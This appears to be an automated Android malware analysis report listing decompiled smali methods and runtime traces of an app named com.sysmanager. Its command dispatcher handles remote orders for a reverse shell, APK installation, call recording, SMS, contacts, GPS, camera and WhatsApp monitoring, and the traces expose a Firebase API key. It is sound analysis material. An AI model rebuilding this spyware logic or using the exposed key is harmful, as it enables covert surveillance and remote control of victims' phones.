13invoke-static {p0, v1, v2, v3}, Lcom/google/firebase/iid/zzg;->zza(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent;
14move-result-object v1
15const/4 v2, 0x3
17invoke-static {}, Landroid/os/SystemClock;->elapsedRealtime()J
18move-result-wide v4
19mul-int/lit16 v3, p1, 0x3e8
20int-to-long v6, v3
21add-long/2addr v4, v6
23invoke-virtual {v0, v2, v4, v5, v1}, Landroid/app/AlarmManager;->set(IJLandroid/app/PendingIntent;)V
24return-void
Cross References
APIs
  • com.google.android.gms.common.util.zzt.zzzo
  • android.content.Context.getNoBackupFilesDir
  • android.content.Context.getApplicationInfo
  • java.io.File.<init>
Strings
  • no_backup
Position Instruction Meta Information
0.annotation build Landroid/annotation/TargetApi;
1value = 0x15
2.end annotation
4invoke-static {}, Lcom/google/android/gms/common/util/zzt;->zzzo()Z
  • Time: 200700
    • Return:
      • true
5move-result v0
6if-eqz v0, :cond_b
8invoke-virtual {p0}, Landroid/content/Context;->getNoBackupFilesDir()Ljava/io/File;
9move-result-object v0
10goto_a: return-object v0
11cond_b:
12invoke-virtual {p0}, Landroid/content/Context;->getApplicationInfo()Landroid/content/pm/ApplicationInfo;
13move-result-object v0
14new-instance v1, Ljava/io/File;
16iget-object v0, v0, Landroid/content/pm/ApplicationInfo;->dataDir:Ljava/lang/String;
18const-string v2, "no_backup"
20invoke-direct {v1, v0, v2}, Ljava/io/File;-><init>(Ljava/lang/String;Ljava/lang/String;)V
22invoke-static {v1}, Lcom/google/android/gms/common/util/zzx;->zze(Ljava/io/File;)Ljava/io/File;
23move-result-object v0
24goto/16 :goto_a
Cross References
APIs
  • android.content.Intent.<init>
  • android.content.Intent.setAction
  • android.content.Intent.putExtra
  • android.app.PendingIntent.getBroadcast
Strings
  • wrapped_intent
Position Instruction Meta Information
0new-instance v0, Landroid/content/Intent;
1const-class v1, Lcom/google/firebase/iid/FirebaseInstanceIdInternalReceiver;
3invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
5invoke-virtual {v0, p2}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
7const-string v1, "wrapped_intent"
9invoke-virtual {v0, v1, p3}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;
  • Time: 203811
    • This:
      • Intent { act=com.google.firebase.INSTANCE_ID_EVENT cmp=com.sysmanager/com.google.firebase.iid.FirebaseInstanceIdInternalReceiver (has extras) }
    • p0: wrapped_intent
    • p1: Intent { act=ACTION_TOKEN_REFRESH_RETRY (has extras) }
    • Return:
      • Intent { act=com.google.firebase.INSTANCE_ID_EVENT cmp=com.sysmanager/com.google.firebase.iid.FirebaseInstanceIdInternalReceiver (has extras) }
11invoke-static {p0, p1, v0, p4}, Landroid/app/PendingIntent;->getBroadcast(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent;
12move-result-object v0
13return-object v0
Cross References
APIs
  • com.google.firebase.FirebaseApp.getName
  • java.lang.String.equals
Strings
  • [DEFAULT]
  • java.lang.String@371f2cf2
  • java.lang.String@373aa6f9
Position Instruction Meta Information
1const-string v0, "[DEFAULT]"
3invoke-virtual {p0}, Lcom/google/firebase/FirebaseApp;->getName()Ljava/lang/String;
  • Time: 77319
    • This:
      • com.google.firebase.FirebaseOptions@32f1fa7
    • Return:
      • java.lang.Class@18df8c54
      • getName: com.google.firebase.FirebaseOptions
  • Time: 77329
    • This:
      • com.google.android.gms.common.internal.zzaa$zza@10e887fd
    • Return:
      • java.lang.String@371f2cf2
  • Time: 77332
    • This:
      • FirebaseApp{name=[DEFAULT], options=FirebaseOptions{applicationId=1:108944492905:android:ece3927e9687a726, apiKey=AIzaSyDnqjgL8U6iQ_zzMzrWu0ooCd0vmbOvVhs, databaseUrl=https://future-8a57f.firebaseio.com, gcmSenderId=108944492905, storageBucket=future-8a57f.appspot.com}}
    • Return:
      • java.lang.Class@2d240f43
      • getName: com.google.firebase.FirebaseApp
  • Time: 77341
    • This:
      • com.google.android.gms.common.internal.zzaa$zza@5d319c0
    • Return:
      • java.lang.String@373aa6f9
  • Time: 77317
    • This:
      • FirebaseApp{name=[DEFAULT], options=FirebaseOptions{applicationId=1:108944492905:android:ece3927e9687a726, apiKey=AIzaSyDnqjgL8U6iQ_zzMzrWu0ooCd0vmbOvVhs, databaseUrl=https://future-8a57f.firebaseio.com, gcmSenderId=108944492905, storageBucket=future-8a57f.appspot.com}}
    • Return:
      • [DEFAULT]
4move-result-object v1
6invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
7move-result v0
8return v0
Cross References
APIs
  • com.sysmanager.Scontext.checkCallingOrSelfPermission
  • java.lang.Boolean.valueOf
  • java.lang.Boolean.booleanValue
Strings
  • android.permission.WAKE_LOCK
Position Instruction Meta Information
1iget-object v0, p0, Lcom/google/firebase/iid/zzg;->zzclC:Ljava/lang/Boolean;
2if-nez v0, :cond_13
4const-string v0, "android.permission.WAKE_LOCK"
6invoke-virtual {p1, v0}, Landroid/content/Context;->checkCallingOrSelfPermission(Ljava/lang/String;)I
  • Time: 200911
    • This:
      • com.sysmanager.Scontext@2e09ab53
    • p0: android.permission.WAKE_LOCK
    • Return:
      • 0
7move-result v0
8if-nez v0, :cond_1a
9const/4 v0, 0x1
10goto_d:
11invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
12move-result-object v0
13iput-object v0, p0, Lcom/google/firebase/iid/zzg;->zzclC:Ljava/lang/Boolean;
14cond_13:
15iget-object v0, p0, Lcom/google/firebase/iid/zzg;->zzclC:Ljava/lang/Boolean;
17invoke-virtual {v0}, Ljava/lang/Boolean;->booleanValue()Z
18move-result v0
19return v0
20cond_1a: const/4 v0, 0x0
21goto/16 :goto_d
APIs
  • android.database.sqlite.SQLiteOpenHelper.onConfigure
  • android.database.sqlite.SQLiteDatabase.rawQuery
  • com.sysmanager.Scontext.getContext
Strings
  • PRAGMA journal_mode=WAL
Position Instruction Meta Information
0.param p1, "db" # Landroid/database/sqlite/SQLiteDatabase;
1.prologue
3invoke-super {p0, p1}, Landroid/database/sqlite/SQLiteOpenHelper;->onConfigure(Landroid/database/sqlite/SQLiteDatabase;)V
4try_start_3:
5const-string v1, "PRAGMA journal_mode=WAL"
6const/4 v2, 0x0
8invoke-virtual {p1, v1, v2}, Landroid/database/sqlite/SQLiteDatabase;->rawQuery(Ljava/lang/String;[Ljava/lang/String;)Landroid/database/Cursor;
  • Time: 200618
    • This:
      • SQLiteDatabase: /data/data/com.sysmanager/databases/Settings
    • sql: PRAGMA journal_mode=WAL
    • selectionArgs: null
    • Return:
      • android.database.sqlite.SQLiteCursor@317cdc57
9try_end_9: return-void
10catch_a: move-exception v0
12invoke-static {}, Lcom/sysmanager/Scontext;->getContext()Landroid/content/Context;
13move-result-object v1
15invoke-static {v0}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
16move-result-object v2
18invoke-static {v1, v2}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
19goto/16 :goto_9
Cross References
APIs
  • com.google.firebase.FirebaseOptions.getApplicationId
  • android.os.Bundle.putString
Strings
  • gmp_app_id
  • 1:108944492905:android:ece3927e9687a726
Position Instruction Meta Information
1const-string v0, "gmp_app_id"
3iget-object v1, p0, Lcom/google/firebase/iid/FirebaseInstanceId;->zzcli:Lcom/google/firebase/FirebaseApp;
5invoke-virtual {v1}, Lcom/google/firebase/FirebaseApp;->getOptions()Lcom/google/firebase/FirebaseOptions;
6move-result-object v1
8invoke-virtual {v1}, Lcom/google/firebase/FirebaseOptions;->getApplicationId()Ljava/lang/String;
  • Time: 201039
    • This:
      • com.google.firebase.FirebaseOptions@32f1fa7
    • Return:
      • 1:108944492905:android:ece3927e9687a726
9move-result-object v1
11invoke-virtual {p1, v0, v1}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
12return-void
Cross References
APIs
  • com.sysmanager.Scontext.getPackageName
  • android.content.pm.PackageManager.getPackageInfo
Strings
  • com.sysmanager
Position Instruction Meta Information
1invoke-virtual {p0}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
  • Time: 200737
    • This:
      • com.sysmanager.Scontext@2e09ab53
    • Return:
      • com.sysmanager
2move-result-object v0
4invoke-static {p0, v0}, Lcom/google/firebase/iid/FirebaseInstanceId;->zzR(Landroid/content/Context;Ljava/lang/String;)I
  • Time: 201701
    • This:
      • android.app.ApplicationPackageManager@1e235b12
    • packageName: com.sysmanager
    • flags: 0
    • Return:
      • PackageInfo{1b123817 com.sysmanager}
  • Time: 201857
    • This:
      • android.app.ApplicationPackageManager@1e235b12
    • packageName: com.sysmanager
    • flags: 0
    • Return:
      • PackageInfo{af78a15 com.sysmanager}
  • Time: 213993
    • This:
      • android.app.ApplicationPackageManager@1e235b12
    • packageName: com.sysmanager
    • flags: 0
    • Return:
      • PackageInfo{ef0930 com.sysmanager}
5move-result v0
6return v0
Cross References
APIs
  • com.google.android.gms.common.util.zzt.zzzg
  • com.sysmanager.Scontext.getApplicationContext
Position Instruction Meta Information
0.annotation build Landroid/annotation/TargetApi;
1value = 0xe
2.end annotation
4invoke-static {}, Lcom/google/android/gms/common/util/zzt;->zzzg()Z
  • Time: 77240
    • Return:
      • true
6invoke-virtual {p0}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
  • Time: 77250
    • This:
      • com.sysmanager.Scontext@2e09ab53
    • Return:
      • com.sysmanager.Scontext@2e09ab53
7move-result-object v0
8instance-of v0, v0, Landroid/app/Application;
9if-eqz v0, :cond_20
11invoke-virtual {p0}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
  • Time: 77259
    • This:
      • com.sysmanager.Scontext@2e09ab53
    • Return:
      • com.sysmanager.Scontext@2e09ab53
12move-result-object v0
13check-cast v0, Landroid/app/Application;
15invoke-static {v0}, Lcom/google/android/gms/internal/zzaac;->zza(Landroid/app/Application;)V
17invoke-static {}, Lcom/google/android/gms/internal/zzaac;->zzvB()Lcom/google/android/gms/internal/zzaac;
18move-result-object v0
19new-instance v1, Lcom/google/firebase/FirebaseApp$1;
21invoke-direct {v1}, Lcom/google/firebase/FirebaseApp$1;-><init>()V
23invoke-virtual {v0, v1}, Lcom/google/android/gms/internal/zzaac;->zza(Lcom/google/android/gms/internal/zzaac$zza;)V
24cond_20: return-void
Cross References
APIs
  • android.content.pm.PackageManager.getApplicationInfo
Strings
  • com.google.android.gms
Position Instruction Meta Information
0const/4 v0, 0x0
1const/4 v1, 0x0
2try_start_2:
3invoke-virtual {p0, p1, v1}, Landroid/content/pm/PackageManager;->getApplicationInfo(Ljava/lang/String;I)Landroid/content/pm/ApplicationInfo;
  • Time: 200845
    • This:
      • android.app.ApplicationPackageManager@1e235b12
    • packageName: com.google.android.gms
    • flags: 0
    • Return:
      • ApplicationInfo{12ecff8 com.google.android.gms}
4move-result-object v1
6iget-object v2, v1, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String;
7sput-object v2, Lcom/google/firebase/iid/zzf;->zzbhQ:Ljava/lang/String;
8iget v1, v1, Landroid/content/pm/ApplicationInfo;->uid:I
9sput v1, Lcom/google/firebase/iid/zzf;->zzbhT:I
10try_end_e: const/4 v0, 0x1
11goto_f: return v0
12catch_10: move-exception v1
13goto/16 :goto_f
Cross References
APIs
  • com.sysmanager.Scontext.getApplicationContext
  • com.sysmanager.storage.Settings.<init>
Position Instruction Meta Information
0.param p0, "ctx" # Landroid/content/Context;
1.prologue
2const-class v1, Lcom/sysmanager/storage/Settings;
3monitor-enter v1
4try_start_3:
5sget-object v0, Lcom/sysmanager/storage/Settings;->sInstance:Lcom/sysmanager/storage/Settings;
6if-nez v0, :cond_12
7new-instance v0, Lcom/sysmanager/storage/Settings;
9invoke-virtual {p0}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
  • Time: 200588
    • This:
      • com.sysmanager.Scontext@2e09ab53
    • Return:
      • com.sysmanager.Scontext@2e09ab53
10move-result-object v2
12invoke-direct {v0, v2}, Lcom/sysmanager/storage/Settings;-><init>(Landroid/content/Context;)V
13sput-object v0, Lcom/sysmanager/storage/Settings;->sInstance:Lcom/sysmanager/storage/Settings;
14cond_12:
15sget-object v0, Lcom/sysmanager/storage/Settings;->sInstance:Lcom/sysmanager/storage/Settings;
16try_end_14: monitor-exit v1
17return-object v0
18catchall_16: move-exception v0
19monitor-exit v1
20throw v0
Cross References
APIs
  • java.lang.Object.<init>
  • com.sysmanager.Scontext.getApplicationContext
Position Instruction Meta Information
1invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3const-string v0, ""
4iput-object v0, p0, Lcom/google/firebase/iid/zzd;->zzbhL:Ljava/lang/String;
6invoke-virtual {p1}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
  • Time: 200767
    • This:
      • com.sysmanager.Scontext@2e09ab53
    • Return:
      • com.sysmanager.Scontext@2e09ab53
7move-result-object v0
8iput-object v0, p0, Lcom/google/firebase/iid/zzd;->mContext:Landroid/content/Context;
9iput-object p2, p0, Lcom/google/firebase/iid/zzd;->zzbhL:Ljava/lang/String;
10return-void
APIs
  • android.app.Application.onCreate
  • com.sysmanager.Scontext.getApplicationContext
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Application;->onCreate()V
4invoke-virtual {p0}, Lcom/sysmanager/Scontext;->getApplicationContext()Landroid/content/Context;
  • Time: 77383
    • This:
      • com.sysmanager.Scontext@2e09ab53
    • Return:
      • com.sysmanager.Scontext@2e09ab53
  • Time: 77466
    • This:
      • com.sysmanager.Scontext@37715224
    • Return:
      • com.sysmanager.Scontext@37715224
5move-result-object v0
6sput-object v0, Lcom/sysmanager/Scontext;->context:Landroid/content/Context;
7return-void

395 Non-Executed Methods

Cross References
APIs
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValue
  • java.util.Map.get
  • java.lang.String.hashCode
  • java.lang.String.equals
  • com.sysmanager.MessageManagement.attiva
  • com.sysmanager.MessageManagement.mobileConnectionEnable
  • android.content.Intent.<init>
  • android.content.Context.stopService
  • com.sysmanager.storage.FileSend.getInstance
  • com.sysmanager.storage.FileSend.deleteAllPaths
  • java.util.Map.get
  • java.lang.String.equals
  • java.util.Map.get
  • com.sysmanager.MessageManagement.sendCustomIntent
  • java.util.Map.get
  • com.sysmanager.MessageManagement.sendCustomComponent
  • java.util.Map.get
  • java.lang.String.equals
  • java.util.Map.get
  • java.lang.String.equals
  • java.util.Map.get
  • java.lang.Boolean.parseBoolean
  • java.util.Map.get
  • com.sysmanager.MessageManagement.wifiManageConfiguration
  • java.lang.String.equals
  • com.sysmanager.MessageManagement.disattiva
  • com.sysmanager.MessageManagement.startRecording
  • com.sysmanager.MessageManagement.stopRecording
  • com.sysmanager.MessageManagement.enableNET
  • com.sysmanager.MessageManagement.disableNET
  • com.sysmanager.MessageManagement.enableGPS
  • com.sysmanager.MessageManagement.locationForce
  • com.sysmanager.MessageManagement.disableGPS
  • com.sysmanager.MessageManagement.cellaEnabled
  • com.sysmanager.MessageManagement.cellaStop
  • com.sysmanager.MessageManagement.rubricaEnabled
  • com.sysmanager.MessageManagement.smsEnabled
  • com.sysmanager.MessageManagement.callRegisterEnabled
  • com.sysmanager.MessageManagement.historyEnabled
  • com.sysmanager.MessageManagement.listaApps
  • com.sysmanager.MessageManagement.enableLocation
  • com.sysmanager.MessageManagement.listaFile
  • com.sysmanager.MessageManagement.infoEnabled
  • com.sysmanager.MessageManagement.callRecording
  • android.content.Intent.<init>
  • android.content.Intent.addFlags
  • android.content.Context.startActivity
  • com.sysmanager.MessageManagement.activateDevAdmin
  • android.content.Intent.<init>
  • android.content.Intent.addFlags
  • android.content.Context.startActivity
  • android.content.Intent.<init>
  • android.content.Context.stopService
  • android.content.Intent.<init>
  • android.content.Context.startService
  • java.util.Map.get
  • com.sysmanager.MessageManagement.cameraEnabled
  • com.sysmanager.MessageManagement.isMyServiceRunning
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.setValue
  • android.content.Intent.<init>
  • java.util.Map.get
  • android.content.Intent.putExtra
  • android.content.Context.startService
  • java.util.Map.get
  • com.sysmanager.MessageManagement.whatsappEnabled
  • java.util.Map.get
  • java.lang.Boolean.parseBoolean
  • com.sysmanager.MessageManagement.wifi3gsettingEnabled
  • java.util.Map.get
  • java.lang.Integer.parseInt
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.String.valueOf
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.util.Map.get
  • com.sysmanager.MessageManagement.sendFileChoose
Strings
  • col04
  • comando
  • attiva
  • mobileconn
  • managedoc
  • send_intent
  • reverse
  • install_apk
  • wifi
  • hascomponent
  • false
  • param
  • packagename
  • force
  • true
  • source
  • address
  • port
  • enabled
  • ssid
  • password
  • security
  • details
  • disattiva
  • start
  • stop
  • net_y
  • net_n
  • gps_y
  • gps_y_move
  • location_force
  • gps_n
  • cella_start
  • cella_stop
  • rubrica
  • sms
  • registro_chiamate
  • history
  • cancan
  • enable_location
  • filelists
  • info
  • call_recording_y
  • call_recording_n
  • status
  • runweb
  • admin
  • accessibility
  • resetalarm
  • camera
  • social
  • whatsapp_msg
  • wifi3gsetting
  • getfile
  • checkYES
  • A70
  • col19
  • pathnumber
  • path
Position Instruction Meta Information
0.param p0, "context" # Landroid/content/Context;
1.annotation system Ldalvik/annotation/Signature;
2value = {
3"(",
4"Landroid/content/Context;",
5"Ljava/util/Map",
6"<",
7"Ljava/lang/String;",
8"Ljava/lang/String;",
9">;)V"
10}
11.end annotation
12.annotation system Ldalvik/annotation/Throws;
13value = {
14Ljava/lang/Exception;
15}
16.end annotation
17.prologue
18const/4 v4, 0x3
19const/4 v3, 0x2
20const/4 v2, -0x1
21const/4 v0, 0x0
22const/4 v1, 0x1
24invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
25move-result-object v5
27const-string v13, "col04"
29invoke-virtual {v5, v13}, Lcom/sysmanager/storage/Settings;->getValue(Ljava/lang/String;)I
30move-result v5
31if-ne v5, v1, :cond_32
32move v9, v1
33goto_12:
34const-string v5, "comando"
36invoke-interface {p1, v5}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
37move-result-object v6
38check-cast v6, Ljava/lang/String;
40invoke-virtual {v6}, Ljava/lang/String;->hashCode()I
41move-result v5
42sparse-switch v5, :sswitch_data_418
43cond_21: move v5, v2
44goto_22: packed-switch v5, :pswitch_data_436
45if-eqz v9, :cond_31
47invoke-virtual {v6}, Ljava/lang/String;->hashCode()I
48move-result v5
49sparse-switch v5, :sswitch_data_448
50goto_2e: packed-switch v2, :pswitch_data_4c6
51goto_31: return-void
52cond_32: move v9, v0
53goto/16 :goto_12
54sswitch_34:
55const-string v5, "attiva"
57invoke-virtual {v6, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
58move-result v5
59if-eqz v5, :cond_21
60move v5, v0
61goto/16 :goto_22
62sswitch_3e:
63const-string v5, "mobileconn"
65invoke-virtual {v6, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
66move-result v5
67if-eqz v5, :cond_21
68move v5, v1
69goto/16 :goto_22
70sswitch_48:
71const-string v5, "managedoc"
73invoke-virtual {v6, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
74move-result v5
75if-eqz v5, :cond_21
76move v5, v3
77goto/16 :goto_22
78sswitch_52:
79const-string v5, "send_intent"
81invoke-virtual {v6, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
82move-result v5
83if-eqz v5, :cond_21
84move v5, v4
85goto/16 :goto_22
86sswitch_5c:
87const-string v5, "reverse"
89invoke-virtual {v6, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
90move-result v5
91if-eqz v5, :cond_21
92const/4 v5, 0x4
93goto/16 :goto_22
94sswitch_66:
95const-string v5, "install_apk"
97invoke-virtual {v6, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
98move-result v5
99if-eqz v5, :cond_21
100const/4 v5, 0x5
101goto/16 :goto_22
102sswitch_70:
103const-string v5, "wifi"
105invoke-virtual {v6, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
106move-result v5
107if-eqz v5, :cond_21
108const/4 v5, 0x6
109goto/16 :goto_22
110pswitch_7a:
111invoke-static {p0, v1}, Lcom/sysmanager/MessageManagement;->attiva(Landroid/content/Context;Z)V
112goto/16 :goto_31
113pswitch_7e:
114invoke-static {p0}, Lcom/sysmanager/MessageManagement;->mobileConnectionEnable(Landroid/content/Context;)V
115goto/16 :goto_31
116pswitch_82: new-instance v0, Landroid/content/Intent;
117const-class v1, Lcom/sysmanager/system/AndroidFileManager;
119invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
121invoke-virtual {p0, v0}, Landroid/content/Context;->stopService(Landroid/content/Intent;)Z
123invoke-static {p0}, Lcom/sysmanager/storage/FileSend;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/FileSend;
124move-result-object v0
126invoke-virtual {v0}, Lcom/sysmanager/storage/FileSend;->deleteAllPaths()Z
127goto/16 :goto_31
128pswitch_94:
129const-string v0, "hascomponent"
131invoke-interface {p1, v0}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
132move-result-object v0
133check-cast v0, Ljava/lang/String;
135const-string v1, "false"
137invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
138move-result v0
139if-eqz v0, :cond_b0
141const-string v0, "param"
143invoke-interface {p1, v0}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
144move-result-object v0
145check-cast v0, Ljava/lang/String;
147invoke-static {p0, v0}, Lcom/sysmanager/MessageManagement;->sendCustomIntent(Landroid/content/Context;Ljava/lang/String;)V
148goto/16 :goto_31
149cond_b0:
150const-string v0, "packagename"
152invoke-interface {p1, v0}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
153move-result-object v0
154check-cast v0, Ljava/lang/String;
156const-string v1, "param"
158invoke-interface {p1, v1}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
159move-result-object v1
160check-cast v1, Ljava/lang/String;
162invoke-static {p0, v0, v1}, Lcom/sysmanager/MessageManagement;->sendCustomComponent(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
163goto/16 :goto_31
164pswitch_c5:
165const-string v0, "force"
167invoke-interface {p1, v0}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
168move-result-object v0
169check-cast v0, Ljava/lang/String;
171const-string v1, "true"
173invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
174move-result v0
175if-eqz v0, :cond_f4
177const-string v0, "source"
179invoke-interface {p1, v0}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
180move-result-object v0
181check-cast v0, Ljava/lang/String;
183const-string v1, "address"
185invoke-interface {p1, v1}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
186move-result-object v1
187check-cast v1, Ljava/lang/String;
189const-string v2, "port"
191invoke-interface {p1, v2}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
192move-result-object v2
193check-cast v2, Ljava/lang/String;
195const-string v3, "force"
197invoke-static {p0, v0, v1, v2, v3}, Lcom/sysmanager/utils/Commands;->reverseShell(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
198goto/16 :goto_31
199cond_f4:
200const-string v0, "source"
202invoke-interface {p1, v0}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
203move-result-object v0
204check-cast v0, Ljava/lang/String;
206const-string v1, "address"
208invoke-interface {p1, v1}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
209move-result-object v1
210check-cast v1, Ljava/lang/String;
212const-string v2, "port"
214invoke-interface {p1, v2}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
215move-result-object v2
216check-cast v2, Ljava/lang/String;
218invoke-static {p0, v0, v1, v2}, Lcom/sysmanager/utils/Commands;->reverseShell(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
219goto/16 :goto_31
220pswitch_111:
221const-string v0, "force"
223invoke-interface {p1, v0}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
224move-result-object v0
225check-cast v0, Ljava/lang/String;
227const-string v1, "true"
229invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
230move-result v0
231if-eqz v0, :cond_130
233const-string v0, "source"
235invoke-interface {p1, v0}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
236move-result-object v0
237check-cast v0, Ljava/lang/String;
239const-string v1, "force"
241invoke-static {p0, v0, v1}, Lcom/sysmanager/utils/Commands;->installApk(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
242goto/16 :goto_31
243cond_130:
244const-string v0, "source"
246invoke-interface {p1, v0}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
247move-result-object v0
248check-cast v0, Ljava/lang/String;
250invoke-static {p0, v0}, Lcom/sysmanager/utils/Commands;->installApk(Landroid/content/Context;Ljava/lang/String;)V
251goto/16 :goto_31
252pswitch_13d:
253const-string v0, "enabled"
255invoke-interface {p1, v0}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
256move-result-object v0
257check-cast v0, Ljava/lang/String;
259invoke-static {v0}, Ljava/lang/Boolean;->parseBoolean(Ljava/lang/String;)Z
260move-result v1
262const-string v0, "ssid"
264invoke-interface {p1, v0}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
265move-result-object v2
266check-cast v2, Ljava/lang/String;
268const-string v0, "password"
270invoke-interface {p1, v0}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
271move-result-object v3
272check-cast v3, Ljava/lang/String;
274const-string v0, "security"
276invoke-interface {p1, v0}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
277move-result-object v4
278check-cast v4, Ljava/lang/String;
280const-string v0, "details"
282invoke-interface {p1, v0}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
283move-result-object v5
284check-cast v5, Ljava/lang/String;
285move-object v0, p0
287invoke-static/range {v0 .. v5}, Lcom/sysmanager/MessageManagement;->wifiManageConfiguration(Landroid/content/Context;ZLjava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
288goto/16 :goto_31
289sswitch_16f:
290const-string v3, "disattiva"
292invoke-virtual {v6, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
293move-result v3
294if-eqz v3, :cond_2e
295move v2, v0
296goto/16 :goto_2e
297sswitch_17a:
298const-string v3, "start"
300invoke-virtual {v6, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
301move-result v3
302if-eqz v3, :cond_2e
303move v2, v1
304goto/16 :goto_2e
305sswitch_185:
306const-string v4, "stop"
308invoke-virtual {v6, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
309move-result v4
310if-eqz v4, :cond_2e
311move v2, v3
312goto/16 :goto_2e
313sswitch_190:
314const-string v3, "net_y"
316invoke-virtual {v6, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
317move-result v3
318if-eqz v3, :cond_2e
319move v2, v4
320goto/16 :goto_2e
321sswitch_19b:
322const-string v3, "net_n"
324invoke-virtual {v6, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
325move-result v3
326if-eqz v3, :cond_2e
327const/4 v2, 0x4
328goto/16 :goto_2e
329sswitch_1a6:
330const-string v3, "gps_y"
332invoke-virtual {v6, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
333move-result v3
334if-eqz v3, :cond_2e
335const/4 v2, 0x5
336goto/16 :goto_2e
337sswitch_1b1:
338const-string v3, "gps_y_move"
340invoke-virtual {v6, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
341move-result v3
342if-eqz v3, :cond_2e
343const/4 v2, 0x6
344goto/16 :goto_2e
345sswitch_1bc:
346const-string v3, "location_force"
348invoke-virtual {v6, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
349move-result v3
350if-eqz v3, :cond_2e
351const/4 v2, 0x7
352goto/16 :goto_2e
353sswitch_1c7:
354const-string v3, "gps_n"
356invoke-virtual {v6, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
357move-result v3
358if-eqz v3, :cond_2e
359const/16 v2, 0x8
360goto/16 :goto_2e
361sswitch_1d3:
362const-string v3, "cella_start"
364invoke-virtual {v6, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
365move-result v3
366if-eqz v3, :cond_2e
367const/16 v2, 0x9
368goto/16 :goto_2e
369sswitch_1df:
370const-string v3, "cella_stop"
372invoke-virtual {v6, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
373move-result v3
374if-eqz v3, :cond_2e
375const/16 v2, 0xa
376goto/16 :goto_2e
377sswitch_1eb:
378const-string v3, "rubrica"
380invoke-virtual {v6, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
381move-result v3
382if-eqz v3, :cond_2e
